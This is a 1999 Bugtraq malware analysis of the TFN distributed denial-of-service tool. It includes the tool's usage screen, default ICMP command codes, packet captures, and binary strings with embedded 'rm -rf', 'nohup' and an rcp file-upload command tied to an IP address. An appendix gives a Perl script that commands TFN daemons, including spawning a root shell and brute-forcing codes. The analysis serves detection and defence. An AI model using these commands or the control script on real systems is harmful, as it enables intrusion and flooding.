Analysis of Tribe Flood Network
Date: Tue, 7 Dec 1999 10:47:24 -0800
From: Dave Dittrich <dittrich@CAC.WASHINGTON.EDU>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Analysis of Tribe Flood Network
==========================================================================
The "Tribe Flood Network" distributed denial of service attack tool
==========================================================================
David Dittrich <dittrich@cac.washington.edu>
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999
Introduction
------------
The following is an analysis of the "Tribe Flood Network", or "TFN",
by Mixter. TFN is currently being developed and tested on a large
number of compromised Unix systems on the Internet, along with another
distributed denial of service tool named "trinoo" (see separate paper
analyzing trinoo.)
TFN is made up of client and daemon programs, which implement a
distributed network denial of service tool capable of waging ICMP
flood, SYN flood, UDP flood, and Smurf style attacks, as well as
providing an "on demand" root shell bound to a TCP port.
TFN daemons were originally found in binary form on a number of
Solaris 2.x systems, which were identified as having been compromised
by exploitation of buffer overrun bugs in the RPC services "statd",
"cmsd" and "ttdbserverd". These attacks are described in CERT
Incident Note 99-04:
http://www.cert.org/incident_notes/IN-99-04.html
These daemons were originally believed to be some form of remote
sniffer or access-controlled remote command shells, possibly used in
conjunction with sniffers to automate recovering sniffer logs.
During investigation of a related set of intrusions and denial of
service attacks using trinoo networks (another distributed denial of
service attack tool described in another paper), the installation of a
trinoo network was caught in the act and the trinoo and TFN source
code was obtained from the stolen account used to cache the intruders'
tools and log files. This analysis was done using this captured
source code ("version 1.3 build 0053", according to the Makefile) and
from observations of newer compiled binaries of the TFN daemon.
Modification of the source code can and would change any of the
details of this analysis, such as prompts, passwords, commands,
TCP/UDP port numbers, or supported attack methods, signatures, and
features.
Both the daemon and client were compiled and run on Red Hat Linux 6.0
systems. It is believed that daemon has been witnessed "in the wild"
only on Solaris 2.x systems.
For an analysis of the initial intrusion and network setup phases,
see the analysis of the trinoo network.
The network: attacker(s)-->client(s)-->daemon(s)-->victim(s)
------------------------------------------------------------
The TFN network is made up of a tribe client program ("tribe.c") and the
tribe daemon ("td.c"). A TFN network would look like this:
+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| client | | client | | client |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | | daemon | | daemon |
+--------+ +--------+ +--------+ +--------+ +--------+
The attacker(s) control one or more clients, each of which can control
many daemons. The daemons are all instructed to coordinate a packet
based attack against one or more victim systems by the client.
Communication
-------------
Remote control of a TFN network is accomplished via command line
execution of the client program, which can be accomplished using any
of a number of connection methods (e.g., remote shell bound to a TCP
port, UDP based client/server remote shells, ICMP based client/server
shells such as LOKI, SSH terminal sessions, or normal "telnet" TCP
terminal sessions.)
No password is required to run the client, although it is necessary to
have the list of daemons at hand in an "iplist" file.
Communication from the TFN client to daemons is accomplished via
ICMP_ECHOREPLY packets. There is no TCP or UDP based communication
between the client and daemons at all. (Some network monitoring tools
do not show the data portion of ICMP packets, or do not parse all of
the various ICMP type-specific fields, so it may be difficult to
actually monitor the communication between client and daemon. See
Appendix A for patches to Sniffit version 0.3.7.beta to allow it to
display ICMP data segments, and Appendix B for patches to tcpshow.c
1.0 to display ICMP_ECHO and ICMP_ECHOREPLY id and sequence numbers.)
Running the program without specifying any options or arguments gets
you a help screen, which shows the commands supported by TFN:
---------------------------------------------------------------------------
[tribe flood network] (c) 1999 by Mixter
usage: ./tfn <iplist> <type> [ip] [port]
<iplist> contains a list of numerical hosts that are ready to flood
<type> -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by @ if more than one
[port] must be given for a syn flood, 0 = RANDOM
---------------------------------------------------------------------------
Password protection
-------------------
While the client is not password protected, per se, each "command" to
the daemons is sent in the form of a 16 bit binary number in the id
field of an ICMP_ECHOREPLY packet. (The sequence number is a constant
0x0000, which would make it look like the response to the initial
packet sent out by the "ping" command.)
The values of these numbers, as well as macros that change the name
of the running process as seen by PS(1), are defined by the file
"config.h":
---------------------------------------------------------------------------
#ifndef _CONFIG_H
/* user defined values for the teletubby flood network */
#define HIDEME "tfn-daemon"
#define HIDEKIDS "tfn-child"
#define CHLD_MAX 50
/* #define ATTACKLOG "attack.log" keep a log of attacks/victims on all
hosts running td for debugging etc. (hint: bad idea) */
/* These are like passwords, you might want to change them */
#define ID_ACK 123 /* for replies to the client */
#define ID_SHELL 456 /* to bind a rootshell, optional */
#define ID_PSIZE 789 /* to change size of udp/icmp packets */
#define ID_SWITCH 234 /* to switch spoofing mode */
#define ID_STOPIT 567 /* to stop flooding */
#define ID_SENDUDP 890 /* to udp flood */
#define ID_SENDSYN 345 /* to syn flood */
#define ID_SYNPORT 678 /* to set port */
#define ID_ICMP 901 /* to icmp flood */
#define ID_SMURF 666 /* haps! haps! */
#define _CONFIG_H
#endif
---------------------------------------------------------------------------
As you can see, it is recommended that these be changed to prevent
someone stumbling across the daemons from knowing what values are
used, thereby allowing them to execute daemon commands.
Fingerprints
------------
As with trinoo, the method used to install the client/daemon will be
the same as installing any program on a Unix system, with all the
standard options for concealing the programs and files.
Both the client and the daemon must be run as root, as they both open
a AF_INET socket in SOCK_RAW mode.
The client program requires the iplist be available, so finding a
client will allow you to get the list of clients. Recent
installations of TFN daemons have included strings that indicate
the author is (or has) added Blowfish encryption of the iplist file.
This will make the task of determining the daemons much harder.
Strings embedded in a recently recovered TFN daemon binary (edited
and rearranged for clarity, with comments to the right) are:
------------------------------------------------------------------------------
blowfish_init
blowfish_encipher
blowfish_decipher Uses Blowfish for encryption of something.
encrypt_string
decrypt_string
serverworks
readmservers
addnewmserver Has more advanced client/server functions.
delmserver
servcounti
icmp2
udppsize
icmpsize
spoofing
spooftest
commence_icmp Attack function signatures.
commence_udp
commence_syn
floodtime
floodruns
bind
setsockopt Remote shell function.
listensocket
k00lip
fw00ding
k00lntoa
tc: unknown host
rm -rf %s
ttymon
rcp %s@%s:sol.bin %s Embedded commands to upload files,
nohup ./%s delete files, and with an association
130.243.70.20 with a particular IP address
127.0.0.1 (possibly a client, or location of a
lpsched file cache)
sicken
in.telne
------------------------------------------------------------------------------
If "lsof" is used to examine the running daemon process, it only shows
an open socket of unspecified protocol:
------------------------------------------------------------------------------
td 5931 root cwd DIR 3,5 1024 240721
/usr/lib/libx/...
td 5931 root rtd DIR 3,1 1024 2 /
td 5931 root txt REG 3,5 297508 240734
/usr/lib/libx/.../td
td 5931 root 3u sock 0,0 92814 can't
identify protocol
------------------------------------------------------------------------------
If a remote shell has been started, the daemon will fork and show a
new process with a listening TCP port:
------------------------------------------------------------------------------
td 5970 root cwd DIR 3,5 1024 240721
/usr/lib/libx/...
td 5970 root rtd DIR 3,1 1024 2 /
td 5970 root txt REG 3,5 297508 240734
/usr/lib/libx/.../td (deleted)
td 5970 root 0u inet 92909 TCP
*:12345 (LISTEN)
td 5970 root 3u sock 0,0 92814 can't
identify protocol
------------------------------------------------------------------------------
Monitoring the network traffic using "sniffit" (modified per Appendix
A), and doing "ping -c 3 10.0.0.1" (sends three ICMP_ECHO packets,
wait for ICMP_ECHOREPLY packets in return, and quit) looks like this
(IP header removed for clarity):
---------------------------------------------------------------------------
# sniffit -d -a -x -b -s @ -Picmp
Supported Network device found. (eth0)
Sniffit.0.3.7 Beta is up and running.... (192.168.0.1)
ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 2B + 51 Q 98 . 04 . 00 . 00 . 37 7 FC . 0D . 38 8
02 . 73 s 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 33 3 51 Q 98 . 04 . 00 . 00 . 37 7 FC . 0D . 38 8
02 . 73 s 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 58 X 61 a 98 . 04 . 01 . 00 . 38 8 FC . 0D . 38 8
D3 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 60 ` 61 a 98 . 04 . 01 . 00 . 38 8 FC . 0D . 38 8
D3 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 70 p 61 a 98 . 04 . 02 . 00 . 39 9 FC . 0D . 38 8
B9 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 78 x 61 a 98 . 04 . 02 . 00 . 39 9 FC . 0D . 38 8
B9 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
----------------------------------------------------------------------------
As you can see, packets with a fixed payload (bytes 17 on) are sent as
ICMP_ECHO packets to the destination, which returns the same payload as
an ICMP_ECHOREPLY packet. The initial packet has a sequence number of
zero (seen as bytes 7 and 8 in the ICMP packet), which is incremented
for each further packet sent in sequence.
Seen by tcpdump/tcpshow (modified per Appendix B), the three packet
"ping" flow would look like:
----------------------------------------------------------------------------
# tcpdump -lenx -s 1518 icmp | tcpshow -noip -nolink -cooked
tcpdump: listening on eth0
Packet 1
ICMP Header
Type: echo-request
Checksum: 0x9B2A
Id: 0x6E03
Sequence: 0x0000
ICMP Data
q..8x.
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 2
ICMP Header
Type: echo-reply
Checksum: 0xA32A
Id: 0x6E03
Sequence: 0x0000
ICMP Data
q..8x.
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 3
ICMP Header
Type: echo-request
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 4
ICMP Header
Type: echo-reply
Checksum: 0x6A3A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 5
ICMP Header
Type: echo-request
Checksum: 0x5A3A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 6
ICMP Header
Type: echo-reply
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
The TFN client, on the other hand, sends commands to daemons using
ICMP_ECHOREPLY packets instead of ICMP_ECHO. This is to prevent the
kernel on the daemon system from replying with an ICMP_ECHOREPLY packet.
The daemon then responds (if need be) to the client(s), also using an
ICMP_ECHOREPLY packet. The payload differs with TFN, as it is used
for sending command arguments and replies.
The ICMP_ECHOREPLY id field contains the "command" (16 bit value,
converted to network byte order with htons() in the code) and any
arguments in ASCII clear text form in the data field of the packet.
Here is what an attacker sees when executing the command to start a
shell listening on port 12345:
----------------------------------------------------------------------------
# ./tfn iplist 4 12345
[tribe flood network] (c) 1999 by Mixter
[request: bind shell to port 12345]
192.168.0.1: shell bound to port 12345
#
----------------------------------------------------------------------------
Here is the packet flow for this command as seen on the network with
"sniffit" (IP headers removed for clarity):
----------------------------------------------------------------------------
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 64 d D1 . 01 . C8 . 00 . 00 . 31 1 32 2 33 3 34 4
35 5 00 .
ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 6C l AE . 00 . 7B { 00 . 00 . 73 s 68 h 65 e 6C l
6C l 20 62 b 6F o 75 u 6E n 64 d 20 74 t 6F o 20 70 p 6F o 72 r 74 t 20
31 1 32 2 33 3 34 4 35 5 0A . 00 .
----------------------------------------------------------------------------
Viewed with tcpdump alone, it would look like this (IP headers
removed for clarity):
----------------------------------------------------------------------------
# tcpdump -lnx -s 1518 icmp
tcpdump: listening on eth0
05:51:32.706829 10.0.0.1 > 192.168.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 64d1 01c8 0000 3132 3334
3500
05:51:32.741556 192.168.0.1 > 10.0.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 6cae 007b 0000 7368 656c
6c20 626f 756e 6420 746f 2070 6f72 7420
3132 3334 350a 00
----------------------------------------------------------------------------
Combining tcpdump with tcpshow, it is easier to see the data payload:
----------------------------------------------------------------------------
Packet 1
ICMP Header
Type: echo-reply
Checksum: 0x64D1
Id: 0x01C8
Sequence: 0x0000
ICMP Data
12345
-----------------------------------------------------------------
Packet 2
ICMP Header
Type: echo-reply
Checksum: 0x6CAE
Id: 0x007B
Sequence: 0x0000
ICMP Data
shell bound to port 12345
----------------------------------------------------------------------------
As can be seen here, the client sends the command 0x01C8 (decimal 456)
in the id field, followed by a sequence number of 0x0000 (it is always
zero in the code), followed by the NULL terminated ASCII string
"12345" (specified port number) is sent to the daemon.
The daemon responds with the command reply 0x007B (decimal 123) in the
id field, followed by a sequence number of 0x0000, followed by the
NULL terminated ASCII string "shell bound to port 12345\n". This
string is then echoed to the shell by the client, with the daemon's IP
address prepended.
Defenses
--------
Because the programs use ICMP_ECHOREPLY packets for communication,
it will be very difficult (if not impossible) to block it without
breaking most Internet programs that rely on ICMP. The Phrack
paper on LOKI states:
The only sure way to destroy this channel is to deny ALL
ICMP_ECHO traffic into your network.
Short of rejecting this traffic, it will instead be necessary to observe
the difference between "normal" use of ICMP_ECHO and ICMP_ECHOREPLY
packets by programs like "ping". This will not be an easy task,
especially on large networks. (See the LOKI paper for more details.)
Weaknesses
----------
If the source has not been modified, you can identify TFN clients and
daemons by observing the strings embedded in the program binary:
------------------------------------------------------------------------------
# strings - td
. . .
%d.%d.%d.%d
/bin/sh
tfn-daemon
already %s flooding
multiple targets
ICMP flood: %s
tfn-child
SMURF (target@bcast@...): %s
UDP flood: %s
SYN flood: port %d, multiple targets
SYN flood: port %d, %s
ready - size: %d spoof: %d
%s flood terminated
packet size: %d bytes
spoof mask: *.*.*.* (%s)
spoof mask: 1.*.*.* (%s)
spoof mask: 1.1.*.* (%s)
spoof mask: 1.1.1.* (%s)
spoof test: %s
shell bound to port %s
. . .
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
ICMP
SMURF
. . .
# strings - tfn
. . .
%d.%d.%d.%d
ERROR reading IP list
[1;37m
[request: change packet size]
[request: change spoofmask]
[request: stop and display status]
[request: udp flood %s]
[request: syn flood [port: %s] %s]
[request: icmp flood %s]
[request: bind shell to port %s]
[request: smurf (target@bcast@...) %s]
[0;0m
[0m%s:
[0;31m
[0;34mtimeout
[1;34m
usage: %s <iplist> <type> [ip] [port]
<iplist> contains a list of numerical hosts that are ready to flood
<type> -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by %s if more than one
[port] must be given for a syn flood, 0 = RANDOM
skipping
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
. . .
------------------------------------------------------------------------------
More recent binaries (shown earlier) include strings that indicate the
newer code now has multi-master (instead of single client) capabilities,
like trinoo, and encryption of (presumably) the iplist file, list of
masters, and possibly even encryption of the data portion of the ICMP
packets.
The newer binaries recovered also show use of the Berkeley "rcp"
command. Monitoring "rcp" connections (514/tcp) from multiple systems
on your network, in quick succession, to a single IP address outside
your network would be a good trigger. (Note that the use of "rcp" in a
this form requires an anonymous trust relationship, usually in the
form of "+ +" in a user's ~/.rhosts file, which also will allow you to
immediately archive the contents of this account while contacting the
owners to preserve evidence.)
Since TFN uses ICMP packets, it is much more difficult to detect in
action, and packets will go right through most firewalls. Programs
like "ngrep" do not process ICMP packets, so you will not as easily
(at this point in time) be able to watch for strings in the data
portion of the ICMP packets.
One weakness in TFN is that it does no authentication of the source
of ICMP packets (at least not in the code used for this analysis).
If the command value has not been changed from the default, only one
packet would be necessary to flush out a daemon. (A Perl script using
Net::RawIP named "civilize" has been developed to accomplish this task.
See Appendix C).
If the command values had been changed, you could still brute force
attack the daemon by sending all combinations of three digit values
(the id field is 16 bits, so the actual maximum should be 64K).
While this would almost constitute an ICMP flood attack in its own
right, it is still a potential weakness that can be exploited.
The next logical evolutionary steps
-----------------------------------
For more on the expected evolution of distributed denial of service
tools, see the analysis of the trinoo network.
--
David Dittrich <dittrich@cac.washington.edu>
http://staff.washington.edu/dittrich/
Appendix A: Patches to sniffit v. 0.3.7.beta to display ICMP data payload
-------------------------------------------------------------------------
------------------------------- cut here -----------------------------------
diff -c sniffit.0.3.7.beta.orig/sn_defines.h sniffit.0.3.7.beta/sn_defines.h
*** sniffit.0.3.7.beta.orig/sn_defines.h Wed Aug 26 12:21:23 1998
--- sniffit.0.3.7.beta/sn_defines.h Wed Oct 20 10:15:41 1999
***************
*** 126,132 ****
#define ICMP_TYPE_3 "Destination unreachable"
#define ICMP_TYPE_4 "Source quench"
#define ICMP_TYPE_5 "Redirect"
! #define ICMP_TYPE_8 "Echo"
#define ICMP_TYPE_11 "Time exceeded"
#define ICMP_TYPE_12 "Parameter problem"
#define ICMP_TYPE_13 "Timestamp"
--- 126,132 ----
#define ICMP_TYPE_3 "Destination unreachable"
#define ICMP_TYPE_4 "Source quench"
#define ICMP_TYPE_5 "Redirect"
! #define ICMP_TYPE_8 "Echo request"
#define ICMP_TYPE_11 "Time exceeded"
#define ICMP_TYPE_12 "Parameter problem"
#define ICMP_TYPE_13 "Timestamp"
***************
*** 134,140 ****
#define ICMP_TYPE_15 "Information request"
#define ICMP_TYPE_16 "Information reply"
#define ICMP_TYPE_17 "Address mask request"
! #define ICMP_TYPE_18 "Adress mask reply"
/*** Services (standardised) *******************************************/
#define FTP_DATA_1 20
--- 134,140 ----
#define ICMP_TYPE_15 "Information request"
#define ICMP_TYPE_16 "Information reply"
#define ICMP_TYPE_17 "Address mask request"
! #define ICMP_TYPE_18 "Address mask reply"
/*** Services (standardised) *******************************************/
#define FTP_DATA_1 20
diff -c sniffit.0.3.7.beta.orig/sniffit.0.3.7.c sniffit.0.3.7.beta/sniffit.0.3.7.c
*** sniffit.0.3.7.beta.orig/sniffit.0.3.7.c Wed Aug 26 12:21:25 1998
--- sniffit.0.3.7.beta/sniffit.0.3.7.c Wed Oct 20 10:15:49 1999
***************
*** 1333,1339 ****
printf ("Unknown ICMP type!\n");
break;
}
! printf ("\n");
return;
}
if (finish < 30) /* nothing yet */
--- 1333,1351 ----
printf ("Unknown ICMP type!\n");
break;
}
! total_length = info.IP_len + info.ICMP_len + info.DATA_len;
! n = 0;
! for (i = 0; i < total_length; i++)
! {
! unsigned char c = sp[PROTO_HEAD + i];
! if (n > 75)
! n = 0, printf ("\n");
! if (DUMPMODE & 1)
! n += printf (" %02X", c);
! if (DUMPMODE & 2)
! n += printf (" %c", isprint (c) ? c : '.');
! }
! printf ("\n\n");
return;
}
if (finish < 30) /* nothing yet */
------------------------------- cut here -----------------------------------
Appendix B: Patches to tcpshow 1.0 to display ICMP ECHO id/seq
----------------------------------------------------------------------
------------------------------- cut here -----------------------------------
diff -c tcpshow.c.orig tcpshow.c
*** tcpshow.c.orig Thu Oct 21 14:12:19 1999
--- tcpshow.c Thu Oct 21 14:22:34 1999
***************
*** 1081,1086 ****
--- 1081,1088 ----
uint2 nskipped;
uint1 type;
char *why;
+ uint2 echo_id;
+ uint2 echo_seq;
type = getbyte(&pkt); nskipped = sizeof(type);
***************
*** 1091,1096 ****
--- 1093,1103 ----
/* Must calculate it from the size of the IP datagram - the IP header. */
datalen -= ICMPHDRLEN;
+ if (type == ECHO_REQ || type == ECHO_REPLY) {
+ echo_id = getword(&pkt); nskipped += sizeof(cksum);
+ echo_seq = getword(&pkt); nskipped += sizeof(cksum);
+ }
+
why = icmpcode(type, code);
if (dataflag) {
printf(
***************
*** 1113,1118 ****
--- 1120,1129 ----
icmptype(type), why? "\n\tBecause:\t\t\t": "", why? why: ""
);
printf("\tChecksum:\t\t\t0x%04X\n", cksum);
+ if (type == ECHO_REQ || type == ECHO_REPLY) {
+ printf("\tId:\t\t\t\t0x%04X\n", echo_id);
+ printf("\tSequence:\t\t\t0x%04X\n", ntohs(echo_seq));
+ }
}
return pkt;
------------------------------- cut here -----------------------------------
Appendix C - Perl script "civilize" to control TFN daemons
----------------------------------------------------------
------------------------------- cut here -----------------------------------
#!/usr/bin/perl
#
# civilize v. 1.0
# By Dave Dittrich <dittrich@cac.washington.edu>
#
# Send commands to TFN daemon(s), causing them to do things like
# spawn shells, stop floods and report status, etc. Using this program
# (and knowledge of the proper daemon "passwords"), you can affect TFN
# daemons externally and monitor packets to verify if a daemon is
# running, etc. You can also brute force attack the "passwords" by
# sending packets until you get the desired reply (or give up.)
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./civilize [options] host1 [host2 [...]]
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek <ian.vitek@infosec.se>)
require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph';
$a = new Net::RawIP({icmp => {}});
chop($hostname = `hostname`);
Getopts('a:c:f:i:vh');
die "usage: $0 [options] iplist\
\t-a arg\t\tSend command argument 'arg' (default \"12345\")\
\t-c val\t\tSend command value 'val' (default 456 - spawn a shell)\
\t-f from_host\t\t(default:$hostname)\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );
# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$opt_a = ($opt_a) ? $opt_a : "12345";
$opt_c = ($opt_c) ? $opt_c : "456";
# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}
$s_host = ($opt_h) ? $opt_h : $hostname;
if ($ARGV[0]) {
open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'";
while (<I>) {
chop;
push(@list,$_);
}
close(I);
}
# Put value in network byte order (couldn't get htons() in
# "netinet/in.ph" to work. Go figure.)
$id = unpack("S", pack("n", $opt_c));
foreach $d_host (@list) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
icmp => {type => 0, id => $id, data => "$opt_a\0"}
});
print "sending packet [$opt_c/$opt_a] to $d_host\n" if $opt_v;
$a->send;
}
exit(0);
------------------------------- cut here -----------------------------------
Appendix D - References
-----------------------
TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary
R. Wright., Addison-Wesley.
tcpdump:
ftp://ftp.ee.lbl.gov/tcpdump.tar.Z
tcpshow:
http://packetstorm.securify.com/linux/trinux/src/tcpshow.c
sniffit:
http://sniffit.rug.ac.be/sniffit/sniffit.html
ngrep:
http://www.packetfactory.net/ngrep/
loki client/server:
Phrack Magazine, Volume Seven, Issue Forty-Nine,
File 06 of 16, [ Project Loki ]
http://www.phrack.com/search.phtml?view&article=p49-6
Phrack Magazine Volume 7, Issue 51 September 01, 1997,
article 06 of 17 [ L O K I 2 (the implementation) ]
http://www.phrack.com/search.phtml?view&article=p51-6
Net::RawIP:
http://quake.skif.net/RawIP
----------------------------------------------------------------------------
--
Dave Dittrich Client Services
dittrich@cac.washington.edu Computing & Communications
University of Washington
<a href="http://www.washington.edu/People/dad/">
Dave Dittrich / dittrich@cac.washington.edu [PGP Key]</a>
PGP 6.5.1 key fingerprint:
FE 97 0C 57 08 43 F3 EB 49 A1 0C D0 8E 0C D0 BE C8 38 CC B5
